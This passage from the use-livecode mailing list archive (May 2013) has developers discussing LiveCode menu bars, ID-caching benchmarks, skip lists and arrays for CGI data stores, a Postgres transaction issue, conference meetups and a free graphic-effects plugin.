a quote. On 12 mei 2013, at 20:42, CoffeeCone Mail wrote: > Hi, thanks for the suggestion. However, is there any way I can make my > own menubar group without using the Menu Manager? Using it messes up > my application's layout in some way or another. > From pete at lcsql.com Sun May 12 15:08:32 2013 From: pete at lcsql.com (Peter Haworth) Date: Sun, 12 May 2013 12:08:32 -0700 Subject: ID caching: how to test? In-Reply-To: <518FCC70.1070001@tweedly.net> References: <518DA8BE.5080804@fourthworld.com> <518FCC70.1070001@tweedly.net> Message-ID: On Sun, May 12, 2013 at 10:08 AM, Alex Tweedly wrote: > in 5.5.3 > name takes 830 ms while id takes only 250 ms > > but in 6.0 (i.e. with id caching) > name takes 830 ms while id takes 5 ms > Hi Alex, I tried your script on my computer after creating 1000 objects like you except they were images not buttons with some interesting results. I did make one change to your script which was to set the number at the end of the control name to a random number between 1 and 1000. On 6.0, the access by name time was directly related to the number in the image name - the higher the number, the longer the time - for example, image 686 took 697ms, image 466 took 476ms, image 140 took 146ms, etc. Since I created the images using the clone command, their IDs would be directly related to the number in their name so I'm sure that behavior is related to their ID number. The id access times, as in your test, were a constant 6ms. In 5.5.4, I saw the same behavior for the name access times. The ID access times were consistantly around 1/3rd of the name access times, so pretty much the same as your test. My question is does it really matter? If my math is correct, you'd have to do 50,000 accesses to get to a 1 second difference in performance based on the 250ms/5ms times, which is still barely noticeable to most users. Personally, I think there are more important things for RunRev to address than this. I feel the same way about the new button that displays the script line that caused a message to appear in the message box; I can't imagine ever using that feature. Pete lcSQL Software From mail at coffeecone.com Sun May 12 15:16:28 2013 From: mail at coffeecone.com (CoffeeCone Mail) Date: Mon, 13 May 2013 03:16:28 +0800 Subject: How do I catch the App Name > About without adding a menu bar? In-Reply-To: <330ACE77-646A-49CF-B285-F333F39443F0@economy-x-talk.com> References: <7C234D4B-0D7C-44B1-9B9E-CFE9AC2D09DF@economy-x-talk.com> <330ACE77-646A-49CF-B285-F333F39443F0@economy-x-talk.com> Message-ID: Okay, I think I don't get the anatomy of the menu bar. I made a pulldown menu, gave it the name "Help" then on its choices, I only defined "About". Inside the script, I have a prompt to show answer info "hello world". After that, I selected that object and grouped it. I named the group "menubar". Then I opened up the message box and typed in: set the menubar of this stack to "menubar" I pressed enter and it seemed to have no problems or errors. So I tried comppiling the application. However, my hello world dialog doesn't seem to appear at all. What am I missing here? On 5/13/13, Mark Schonewille wrote: > Hi, > > Sure you can. Just make a group with pulldown buttons and set the menubar > property of your stack to the name of that group. Make sure that you > understand tha anatomy of menubars! > > -- > Best regards, > > Mark Schonewille > > Economy-x-Talk Consulting and Software Engineering > Homepage: http://economy-x-talk.com > Twitter: http://twitter.com/xtalkprogrammer > KvK: 50277553 > > Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour > spaces. http://www.color-converter.com > > We have time for new software development projects. Contact me for a quote. > > > > > > > On 12 mei 2013, at 20:42, CoffeeCone Mail wrote: > >> Hi, thanks for the suggestion. However, is there any way I can make my >> own menubar group without using the Menu Manager? Using it messes up >> my application's layout in some way or another. >> > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From m.schonewille at economy-x-talk.com Sun May 12 15:34:58 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Sun, 12 May 2013 21:34:58 +0200 Subject: How do I catch the App Name > About without adding a menu bar? In-Reply-To: References: <7C234D4B-0D7C-44B1-9B9E-CFE9AC2D09DF@economy-x-talk.com> <330ACE77-646A-49CF-B285-F333F39443F0@economy-x-talk.com> Message-ID: <9599E0A2-464D-4751-8A99-B1316319D56D@economy-x-talk.com> Hi, You should not define only About. The best you can do is to create a new empty stack and use the Menu builder to add a menu to the stack. Delete the first item of the menu Help and see what happens. Delete the dash from the menu and see what happens. Put the dash back and look at the text property of the pulldown menu. This will show you what you need to put into your own pulldown menu button. You will see that you need to keep the dash. Similar explanations apply to the Prefences menu item of the Edit menu. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com We have time for new software development projects. Contact me for a quote. On 12 mei 2013, at 21:16, CoffeeCone Mail wrote: > Okay, I think I don't get the anatomy of the menu bar. I made a > pulldown menu, gave it the name "Help" then on its choices, I only > defined "About". Inside the script, I have a prompt to show answer > info "hello world". > > After that, I selected that object and grouped it. I named the group > "menubar". Then I opened up the message box and typed in: > set the menubar of this stack to "menubar" > > I pressed enter and it seemed to have no problems or errors. So I > tried comppiling the application. However, my hello world dialog > doesn't seem to appear at all. What am I missing here? > From dochawk at gmail.com Sun May 12 16:00:01 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Sun, 12 May 2013 13:00:01 -0700 Subject: postgres talking back on queries again In-Reply-To: References: Message-ID: On Sun, May 12, 2013 at 9:55 AM, Peter Haworth wrote: > Sounds like you somewhere issued a BEGIN and then stopped processing > without a ROLLBACK or COMMIT, maybe while debugging and stopping part way > through a handler. The INSERT in psql works because you don't have that > situation. Try issuing a COMMOT or ROLLBACK from the message box then try > the INSERT again. > I think this must be it. It just suddenly started working. And with strict-checking on, I have to restart the whole thing at least once an hour. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From scott at elementarysoftware.com Sun May 12 16:00:20 2013 From: scott at elementarysoftware.com (Scott Morrow) Date: Sun, 12 May 2013 13:00:20 -0700 Subject: Script editors In-Reply-To: <5C5979AF-B945-4F28-9153-B9AFAA88AF6A@numericable.com> References: <5180E145.5020905@gmail.com> <75C2F5DB-2125-4FD6-828C-DAF441B9D2E8@sweattechnologies.com> <1367416865632-4664076.post@n4.nabble.com> <2D70FDED-C23E-4BBA-BA6C-DFF7E6E3995A@fiberworld.nl> <5C5979AF-B945-4F28-9153-B9AFAA88AF6A@numericable.com> Message-ID: <01D349B0-3E4E-4989-85CD-3C4830336909@elementarysoftware.com> This sounds very useful! Keep us posted. -- Scott Morrow On May 12, 2013, at 6:04 AM, Ren? Micout wrote: > Hello Claudi, > Great !! > Ren? > > Le 3 mai 2013 ? 10:31, Claudi Cornaz a ?crit : > >> Hi, >> >> I am working on a tool, "stackally", which show's all handlers of a event in a tree view. >> A event means: everything that happens from the start of a message till the end of that message. >> Well that's the most important feature of the tool, besides showing which handlers have changed between any 2 scans and naturally can store the different scans, a bit like a backup. You can permanently keep any scan and besides that, it will automatically keep the last x scans you made. (first in, first out) >> >> I still need to do some work on it tough, besides incorporating the 2 new handler types, before and after. (these change the messagePath order as you might say, so I need to change that part of the code to adopt this so I can create the correct tree view. >> >> I still have to think about the licensing. I spend a awfull long time on this and I certainly >> need the money. One thing I will surely do is make a free reader available, which can display all scans, but you won't be able to scan a stack with the reader. >> >> I think the free reader might be a realy good help for people starting with livecode. >> I guess they need documentation and good complete working samples. I know this has been talked a lot about before on this list, and I believe, now it is even more necesary so we can atract a lot of new people. People who are eager to start coding in this wonderfull world called livecode. >> >> So for instance a good, completly functioning notepad or simpletext app would be very usefull demo. >> To learn the new text and paragraph features I started one which is almost done, at least for the mac, for now. This demo needs to be able to open and save text documents and of course it needs the splash screen aproach. It needs menus, preferences and all the new text and paragraph features fully working, >> including the setting of tabstops and margins in paragraphs. It needs all the works. This will surely be my >> first demo with scan available with the stackAlly reader. It will make understanding this 'complex' demo, >> which has a lot of code, a lot easier. You don't need to go hunting through all the different scripts >> to find the next routine that gets called. ((this also shows you the messagePath) It's all there, everything related is nicely viewable in a tree view, easy accesable. It's also very usefull to just look up how the menuPick message is handled for instance, or any other message that's used in this or other demo of course. >> >> Anyway I hope to have some time to create the first 'finished' version soon. >> >> If you are interested please drop me a line. And if enough people are interested, well it would >> justify me spending some more time to finish stackAlly quickly. >> >> All the best, >> Claudi > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From andre at andregarzia.com Sun May 12 16:20:46 2013 From: andre at andregarzia.com (Andre Garzia) Date: Sun, 12 May 2013 21:20:46 +0100 Subject: US at conference? In-Reply-To: <8C6F551D-F92C-4AF3-B341-921B3A89A173@verizon.net> References: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> <1337241978.20130507193504@ahsoftware.net> <0641E9F5-9914-46DF-8D72-61039315B358@azurevision.co.uk> <001801ce4e8c$f0a42400$d1ec6c00$@net> <8AB91356-8EC6-4836-A9CE-985F3A30001A@verizon.net> <04C4DF00-FDF9-4193-9F0C-B7A4D38169DC@mac.com> <3E0CDC00-0B86-4D0E-A466-70B65695DD2B@sweattechnologies.com> <8C6F551D-F92C-4AF3-B341-921B3A89A173@verizon.net> Message-ID: I've arrived and am walking around! Em 12/05/2013 16:12, "Colin Holgate" escreveu: > I'm in Nottingham, at one of my brother's place. I thought about taking a > plane form East Midlands Airport, but roughly speaking the cost for the > plane or the train is the same, and train times are more likely to be > exactly on time. Means it will take 4-5 hours to get up there, but I'll be > relaxing on the train, working on the revision of my book! > > > On May 12, 2013, at 3:55 PM, Andre Garzia wrote: > > > I am at the heathrow airport right now. I will depart to Edinburgh on > > BA1454 at 17:25. Is someone here or on the same flight? > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From gcanyon at gmail.com Sun May 12 16:26:42 2013 From: gcanyon at gmail.com (Geoff Canyon) Date: Sun, 12 May 2013 15:26:42 -0500 Subject: skip lists In-Reply-To: <518EC41F.5050600@fourthworld.com> References: <59E77690-B922-4B95-AA04-8721BB73960B@gmail.com> <518EC41F.5050600@fourthworld.com> Message-ID: On Sat, May 11, 2013 at 5:20 PM, Richard Gaskin wrote: > Geoff Canyon wrote: > > > I'm curious why you'd want to do this? > > Because I'm a madman. :) A perfectly fine reason, I've done many things for the same reason. In this instance, just to make sure there's nothing I'm overlooking, as far as I can see: In non-high-level languages: Linked lists, are compact and easy to write to. They don't have to allocate all storage space up front the way arrays do. They're slow to find elements in, which skip lists help to address. In LC: Arrays allocate memory below the level we look at, as do all other storage forms. Any implementation of a linked list that I can think of would probably be slower than simply writing to an array. The only thing that comes to mind that *might* be faster to write to would be some sort of two-variable solution where one variable contained the data, and new additions involved simply appending to the end of the (increasingly long) string, along with a second variable that, in some efficient way, keeps track of what is where in the first variable, which sounds horrible. Am I overlooking anything? gc From monte at sweattechnologies.com Sun May 12 17:01:43 2013 From: monte at sweattechnologies.com (Monte Goulding) Date: Mon, 13 May 2013 07:01:43 +1000 Subject: US at conference? In-Reply-To: <2df4e10f-08b1-4c32-af3b-3e012d6da3be@blur> References: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> <1337241978.20130507193504@ahsoftware.net> <0641E9F5-9914-46DF-8D72-61039315B358@azurevision.co.uk> <001801ce4e8c$f0a42400$d1ec6c00$@net> <8AB91356-8EC6-4836-A9CE-985F3A30001A@verizon.net> <04C4DF00-FDF9-4193-9F0C-B7A4D38169DC@mac.com> <3E0CDC00-0B86-4D0E-A466-70B65695DD2B@sweattechnologies.com> <2df4e10f-08b1-4c32-af3b-3e012d6da3be@blur> Message-ID: Monday (tomorrow).. sorry, should have mentioned that ;-) On 12/05/2013, at 10:29 PM, "Ralph DiMola" wrote: > Monte > > What day? > > Ralph DiMola > MIS DirectorEvergreen Information Services > rdimola at evergreeninfo.net > > -----Original message----- > From: Monte Goulding > To: How to use LiveCode > Sent: Sun, May 12, 2013 07:34:40 GMT+00:00 > Subject: Re: US at conference? > > > Rebecca and I should be @ The George by around 1:30PM. Flying out of Stansted @ 11:50. Thinking of taking a look at the castle after dropping off the bags if anyone wants to join us... > > Cheers > > -- > Monte Goulding > > M E R Goulding - software development services > mergExt - There's an external for that! > > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Monte Goulding M E R Goulding - software development services mergExt - There's an external for that! From andre at andregarzia.com Sun May 12 17:33:18 2013 From: andre at andregarzia.com (Andre Garzia) Date: Sun, 12 May 2013 22:33:18 +0100 Subject: US at conference? In-Reply-To: References: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> <1337241978.20130507193504@ahsoftware.net> <0641E9F5-9914-46DF-8D72-61039315B358@azurevision.co.uk> <001801ce4e8c$f0a42400$d1ec6c00$@net> <8AB91356-8EC6-4836-A9CE-985F3A30001A@verizon.net> <04C4DF00-FDF9-4193-9F0C-B7A4D38169DC@mac.com> <3E0CDC00-0B86-4D0E-A466-70B65695DD2B@sweattechnologies.com> <2df4e10f-08b1-4c32-af3b-3e012d6da3be@blur> Message-ID: Folks, I am at the restaurant on the travelodge, if anyone wants to join in! :-D I will be here for about one more hour (or until my battery complains) Cheers andre On Sun, May 12, 2013 at 10:01 PM, Monte Goulding < monte at sweattechnologies.com> wrote: > Monday (tomorrow).. sorry, should have mentioned that ;-) > > On 12/05/2013, at 10:29 PM, "Ralph DiMola" > wrote: > > > Monte > > > > What day? > > > > Ralph DiMola > > MIS DirectorEvergreen Information Services > > rdimola at evergreeninfo.net > > > > -----Original message----- > > From: Monte Goulding > > To: How to use LiveCode > > Sent: Sun, May 12, 2013 07:34:40 GMT+00:00 > > Subject: Re: US at conference? > > > > > > Rebecca and I should be @ The George by around 1:30PM. Flying out of > Stansted @ 11:50. Thinking of taking a look at the castle after dropping > off the bags if anyone wants to join us... > > > > Cheers > > > > -- > > Monte Goulding > > > > M E R Goulding - software development services > > mergExt - There's an external for that! > > > > > > > > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- > Monte Goulding > > M E R Goulding - software development services > mergExt - There's an external for that! > > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From jacque at hyperactivesw.com Sun May 12 17:43:19 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Sun, 12 May 2013 16:43:19 -0500 Subject: While the forum is down... In-Reply-To: References: <518E7D1E.7040203@gmail.com> <518EAF20.60502@hyperactivesw.com> Message-ID: <51900CF7.8040803@hyperactivesw.com> On 5/12/13 12:54 AM, CoffeeCone Mail wrote: > Oh wow, now I feel stupid. Thanks! The rule is that you must follow in the footsteps of each one of us who has made the same mistake, and tell the next person how to fix it. :) It's a really, really common error. Don't feel too bad. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Sun May 12 17:55:18 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Sun, 12 May 2013 16:55:18 -0500 Subject: How do I catch the App Name > About without adding a menu bar? In-Reply-To: References: <7C234D4B-0D7C-44B1-9B9E-CFE9AC2D09DF@economy-x-talk.com> <330ACE77-646A-49CF-B285-F333F39443F0@economy-x-talk.com> Message-ID: <51900FC6.5010401@hyperactivesw.com> On 5/12/13 2:16 PM, CoffeeCone Mail wrote: > Okay, I think I don't get the anatomy of the menu bar. This may help: The instructions are for converting HyperCard stacks but they apply to any LC app. You must make a complete menu bar (partial entries won't work,) the About and Preferences items must be located in certain positions, and it doesn't matter whether you use Menu Builder (a nice shortcut) or do it by hand, everything on the stack still needs to move down on the card. In fact, that's the first issue the above tutorial deals with, and it gives you a script to help with that. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From ambassador at fourthworld.com Sun May 12 18:16:10 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Sun, 12 May 2013 15:16:10 -0700 Subject: skip lists Message-ID: <519014AA.6090706@fourthworld.com> Geoff Canyon wrote: > In non-high-level languages: > Linked lists... > ...They're slow to find elements in, which skip lists help to address. Exactly. > In LC: > Arrays allocate memory below the level we look at, as do all other > storage forms. Any implementation of a linked list that I can think > of would probably be slower than simply writing to an array. I probably should have mentioned that this needs to be a persistent store, hence my patience with trying all manner of seemingly weird things. If this were just an in-memory structure an array would be great, but of course any means of converting arrays to and from disk are computationally expensive. Worse, my aim here is to run all this in the most stringent of environments: a CGI, where the app must initialize, run, return a result, and die, all in as small a fraction of a second as possible. -- Richard Gaskin Fourth World Systems Software Design and Development for Desktop, Mobile, and Web ____________________________________________________________ Ambassador at FourthWorld.com http://www.FourthWorld.com From alex at tweedly.net Sun May 12 18:28:27 2013 From: alex at tweedly.net (Alex Tweedly) Date: Sun, 12 May 2013 23:28:27 +0100 Subject: skip lists In-Reply-To: References: <59E77690-B922-4B95-AA04-8721BB73960B@gmail.com> <518EC41F.5050600@fourthworld.com> Message-ID: <5190178B.3090108@tweedly.net> I think your description is correct but there are a couple of (categories of) cases where other considerations *may* apply. (in this context of skip-lists, the data is sorted by some key(s)) 1. Ranges. Arrays are really good at Give me element N but not so good at Give me all elements between N and M You can do "gets the keys; sort them; scan through (maybe using binary or similar search to speed that up). But this can be very inefficient for large data sets and small ranges, compared to skip-list or other optimized linked-list method. Of course, maybe you avoid that by keeping the keys in a separate variable already sorted - but that means extra work on updates, ...) Or you can do "repeat with i = N to M; if there is a variable Array[i] then ..." but that can be impossibly inefficient for sparse arrays. Or you can probably do something clever I haven't thought of :-) 2. Non-unique keys You can't "simply write to an array" if the key isn't unique. Skip-lists can deal with non-unique keys (the description in Wikipedia doesn't fully, but it's easy to change that so it would). Dealing with these cases, in LC you might want to use an array, but keyed by some (probably numeric ID), and have a separate data structure or additional per-element data to represent the sorted info. You could consider using skip-list nodes with the data part being the numeric ID of the array element for that extra data structure - though there are lots of other data structures I'd probably think of before that (doubly-linked list, head-linked list, ...) btw - someone said on the list recently something like "Arrays should have an equivalent of the filter command". I completely agree, and if they did, then it might be an even better answer to many of the cases of ranges / non-unique value matching. -- Alex. On 12/05/2013 21:26, Geoff Canyon wrote: > On Sat, May 11, 2013 at 5:20 PM, Richard Gaskin > wrote: > >> Geoff Canyon wrote: >> >>> I'm curious why you'd want to do this? >> Because I'm a madman. :) > > A perfectly fine reason, I've done many things for the same reason. In this > instance, just to make sure there's nothing I'm overlooking, as far as I > can see: > > In non-high-level languages: > Linked lists, are compact and easy to write to. They don't have to allocate > all storage space up front the way arrays do. They're slow to find elements > in, which skip lists help to address. > > In LC: > Arrays allocate memory below the level we look at, as do all other storage > forms. Any implementation of a linked list that I can think of would > probably be slower than simply writing to an array. The only thing that > comes to mind that *might* be faster to write to would be some sort of > two-variable solution where one variable contained the data, and new > additions involved simply appending to the end of the (increasingly long) > string, along with a second variable that, in some efficient way, keeps > track of what is where in the first variable, which sounds horrible. > > Am I overlooking anything? > > gc > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From alex at tweedly.net Sun May 12 19:26:57 2013 From: alex at tweedly.net (Alex Tweedly) Date: Mon, 13 May 2013 00:26:57 +0100 Subject: ID caching: how to test? In-Reply-To: References: <518DA8BE.5080804@fourthworld.com> <518FCC70.1070001@tweedly.net> Message-ID: <51902541.6080600@tweedly.net> Does it matter ? Not sure, but let me try to construct a case ... 1. Custom Controls are going to be more common / important 2. Some custom controls (e.g. datagrids) will dramatically increase the number of controls frequently encountered on a card. (My simple test only used 1000 controls - make that 20 or 50K controls and the times might be more noticeable). 3. It is common to do a number of accesses to the most recently created controls (i.e. those for which linear searching was most costly). 4. Some custom controls might need to do this pretty quickly (e.g. scrolling a datagrid ??? or something like that - maybe). 5. (I could be totally wrong here ...) It's probably a 5-lines of code change. local sLastIdSearched, sLastIDValueReturned function revFindByID pID if pID = sLastIdSearched then return sLastIDValueReturned ..... put pID into sLastIdSearched put tValue into sLastIDValueReturned return tValue end revFindByID (translation into C++ left as an exercise :-) -- Alex. On 12/05/2013 20:08, Peter Haworth wrote: > > My question is does it really matter? If my math is correct, you'd have to > do 50,000 accesses to get to a 1 second difference in performance based on > the 250ms/5ms times, which is still barely noticeable to most users. > > Personally, I think there are more important things for RunRev to address > than this. I feel the same way about the new button that displays the > script line that caused a message to appear in the message box; I can't > imagine ever using that feature. > > Pete > lcSQL Software > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From alex at tweedly.net Sun May 12 19:44:54 2013 From: alex at tweedly.net (Alex Tweedly) Date: Mon, 13 May 2013 00:44:54 +0100 Subject: skip lists In-Reply-To: <519014AA.6090706@fourthworld.com> References: <519014AA.6090706@fourthworld.com> Message-ID: <51902976.90804@tweedly.net> On 12/05/2013 23:16, Richard Gaskin wrote: > > Worse, my aim here is to run all this in the most stringent of > environments: a CGI, where the app must initialize, run, return a > result, and die, all in as small a fraction of a second as possible. > (partly tongue-in-cheek) Why must it run in this environment ? Why not run this as a local "back-end" service on your server - keep the process running, with the persistent data copied as an in-memory array, serve look-up requests from some private port and return the results, and then wait for next request. Your CGI then starts up, figures out what it's doing, sends a request to the local back-end service, gets the reply, return the result to the end-user and dies - while the back-end just waits for the next request. Oh, I know, lots of assumptions about persistence, full control over the server/VPS, update frequency, etc. - but that might not be as weird and wonderful as some other things you could try. -- Alex. From alex at tweedly.net Sun May 12 19:51:07 2013 From: alex at tweedly.net (Alex Tweedly) Date: Mon, 13 May 2013 00:51:07 +0100 Subject: ID caching: how to test? In-Reply-To: <51902541.6080600@tweedly.net> References: <518DA8BE.5080804@fourthworld.com> <518FCC70.1070001@tweedly.net> <51902541.6080600@tweedly.net> Message-ID: <51902AEB.9090307@tweedly.net> On 13/05/2013 00:26, Alex Tweedly wrote: > > 5. (I could be totally wrong here ...) > It's probably a 5-lines of code change. I was totally wrong; it's much more intelligent than that. It caches multiple recently used IDs, not just the very latest one - so it's probably quite a bit more than 5 lines. New code to demonstrate this ... put the millisecs into t1 put the id of button tName into tID put the id of button tName1 into tID1 repeat 10000 times put the short name of control id tID into t put the short name of control id tID1 into t end repeat put the millisecs-t1 && t &CR after msg So I'm more convinced that it has been done well I'm less convinced the performance saving was worth the implementation effort :-) -- Alex. From ambassador at fourthworld.com Sun May 12 19:52:51 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Sun, 12 May 2013 16:52:51 -0700 Subject: skip lists Message-ID: <51902B53.3080403@fourthworld.com> Alex Tweedly wrote: > On 12/05/2013 23:16, Richard Gaskin wrote: >> >> Worse, my aim here is to run all this in the most stringent of >> environments: a CGI, where the app must initialize, run, return a >> result, and die, all in as small a fraction of a second as possible. >> > (partly tongue-in-cheek) > > Why must it run in this environment ? Why not run this as a local > "back-end" service on your server - keep the process running, with the > persistent data copied as an in-memory array, serve look-up requests > from some private port and return the results, and then wait for next > request. What fun is that? :) If I want to use a dedicated DB server I'd have my pick of hundreds of great off-the-shelf solutions, and I'd probably go with MongoDB if only because the syntax is fun. But if I can get MongoDB-like features with MongoDB-like performance from a discrete CGI process that can run on any shared host - ah, that's something worth chewing on.... -- Richard Gaskin Fourth World Systems Software Design and Development for Desktop, Mobile, and Web ____________________________________________________________ Ambassador at FourthWorld.com http://www.FourthWorld.com From scott at tactilemedia.com Sun May 12 20:46:23 2013 From: scott at tactilemedia.com (Scott Rossi) Date: Sun, 12 May 2013 17:46:23 -0700 Subject: Virtual Conference Freebie Message-ID: Hello LiveCoders: In the spirit of RunRevLive and the move toward open source, I wanted to offer up small IDE add-on to the community called tmEffects, a plugin for managing graphic effects in LiveCode. In my day-to-day work, I need access to graphic effects all the time, and this palette makes them quite handy. Plus, it allows the application of effects to multiple controls, and copy/paste of effects between controls. The stack is free and completely open, but hasn't been tested in LC 6 (my install isn't registered yet and the servers are down until Tuesday!). http://www.tactilemedia.com/site_files/software/tmeffects.html I won't be attending RunRevLive, but wish all the conference-goers a great time. Make sure to post all the news! Best Regards, Scott Rossi Creative Director Tactile Media, UX/UI Design From pete at lcsql.com Sun May 12 21:18:40 2013 From: pete at lcsql.com (Peter Haworth) Date: Sun, 12 May 2013 18:18:40 -0700 Subject: skip lists In-Reply-To: <5190178B.3090108@tweedly.net> References: <59E77690-B922-4B95-AA04-8721BB73960B@gmail.com> <518EC41F.5050600@fourthworld.com> <5190178B.3090108@tweedly.net> Message-ID: On Sun, May 12, 2013 at 3:28 PM, Alex Tweedly wrote: > 1. Ranges. > Arrays are really good at > Give me element N > but not so good at > Give me all elements between N and M > > You can do "gets the keys; sort them; scan through (maybe using binary or > similar search to speed that up). But this can be very inefficient for > large data sets and small ranges, compared to skip-list or other optimized > linked-list method. Of course, maybe you avoid that by keeping the keys in > a separate variable already sorted - but that means extra work on updates, > ...) > > Or you can do "repeat with i = N to M; if there is a variable Array[i] > then ..." but that can be impossibly inefficient for sparse arrays. > > Or you can probably do something clever I haven't thought of :-) > A few months back, there was a great post that revealed what I think is a little known way to reference array keys - if I'm not mistaken it was from Dick Kriesel. I have no idea how (in)efficient it might be compared to the other methods mentioned but here's the technique again. Basically, you can supply a numerically keyed array as the key of an array. So, in the example of getting all the keys between N and M, with N=10 and M=15, you would build an array, let's call it tKeyA, with the following keys and values: 1 -10 2- 11 3- 12 4- 13 5- 14 6- 15 To get those key values from an array tDataA, "put tDataA[tKeyA] into tFilterA". This works for alpha values of N and M too. None of that really addresses the skip list technique but it's a useful feature of arrays. Pete lcSQL Software From scott at tactilemedia.com Sun May 12 21:28:30 2013 From: scott at tactilemedia.com (Scott Rossi) Date: Sun, 12 May 2013 18:28:30 -0700 Subject: Virtual Conference Freebie In-Reply-To: Message-ID: Wow. Stephen Barncard earns the dual distinction of not only being the first to offer a donation for tmEffects, but to do so within 1 minute of the announcement. Dude, you are the man. Regards, Scott Rossi Creative Director Tactile Media, UX/UI Design From: Scott Rossi Date: Sunday, May 12, 2013 5:46 PM To: LiveCode Mail List Subject: Virtual Conference Freebie > Hello LiveCoders: > > In the spirit of RunRevLive and the move toward open source, I wanted to offer > up small IDE add-on to the community called tmEffects, a plugin for managing > graphic effects in LiveCode. In my day-to-day work, I need access to graphic > effects all the time, and this palette makes them quite handy. Plus, it > allows the application of effects to multiple controls, and copy/paste of > effects between controls. The stack is free and completely open, but hasn't > been tested in LC 6 (my install isn't registered yet and the servers are down > until Tuesday!). > > http://www.tactilemedia.com/site_files/software/tmeffects.html > > I won't be attending RunRevLive, but wish all the conference-goers a great > time. Make sure to post all the news! > From pete at lcsql.com Sun May 12 21:52:28 2013 From: pete at lcsql.com (Peter Haworth) Date: Sun, 12 May 2013 18:52:28 -0700 Subject: ID caching: how to test? In-Reply-To: <51902541.6080600@tweedly.net> References: <518DA8BE.5080804@fourthworld.com> <518FCC70.1070001@tweedly.net> <51902541.6080600@tweedly.net> Message-ID: That case could make a difference yes, but it's hard to imagine a custom control with that number of components. Datagrids do chew up a lot of controls, it's true but it's usually in the hundreds because they only create controls for the number of rows visible in the datagrid, not the total rows of data. The script you provided seems to imply that only the last id referenced is cached and as soon as you reference another id, the caching of the first one is lost. Am I understanding that right? If so, I find this caching of even less value. (OK, just saw your latest post and now know it's not limited to the last referenced control - that's good because I think it would have been pretty useless only caching one control!) Anyway, I'm sure there are circumstances where this change would provide a significant performance improvement. I just think they are few and far between and would much rather see RunRev spend their time, no matter how little, on fixing . I've seen so many software projects get delayed by sneaking in random features like this - it's not just the time it takes to code them, it's the time to do the various levels of testing, documentation, etc as well. All the above IMHO :-) Pete lcSQL Software On Sun, May 12, 2013 at 4:26 PM, Alex Tweedly wrote: > Does it matter ? Not sure, but let me try to construct a case ... > > 1. Custom Controls are going to be more common / important > > 2. Some custom controls (e.g. datagrids) will dramatically increase the > number of controls frequently encountered on a card. > (My simple test only used 1000 controls - make that 20 or 50K controls > and the times might be more noticeable). > > 3. It is common to do a number of accesses to the most recently created > controls (i.e. those for which linear searching was most costly). > > 4. Some custom controls might need to do this pretty quickly (e.g. > scrolling a datagrid ??? or something like that - maybe). > > 5. (I could be totally wrong here ...) > It's probably a 5-lines of code change. > > local sLastIdSearched, sLastIDValueReturned > > function revFindByID pID > if pID = sLastIdSearched then return sLastIDValueReturned > ..... > put pID into sLastIdSearched > put tValue into sLastIDValueReturned > return tValue > end revFindByID > > (translation into C++ left as an exercise :-) > > -- Alex. > > > On 12/05/2013 20:08, Peter Haworth wrote: > >> >> My question is does it really matter? If my math is correct, you'd have to >> do 50,000 accesses to get to a 1 second difference in performance based on >> the 250ms/5ms times, which is still barely noticeable to most users. >> >> Personally, I think there are more important things for RunRev to address >> than this. I feel the same way about the new button that displays the >> script line that caused a message to appear in the message box; I can't >> imagine ever using that feature. >> >> Pete >> lcSQL Software >> ______________________________**_________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/**mailman/listinfo/use-livecode >> > > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > 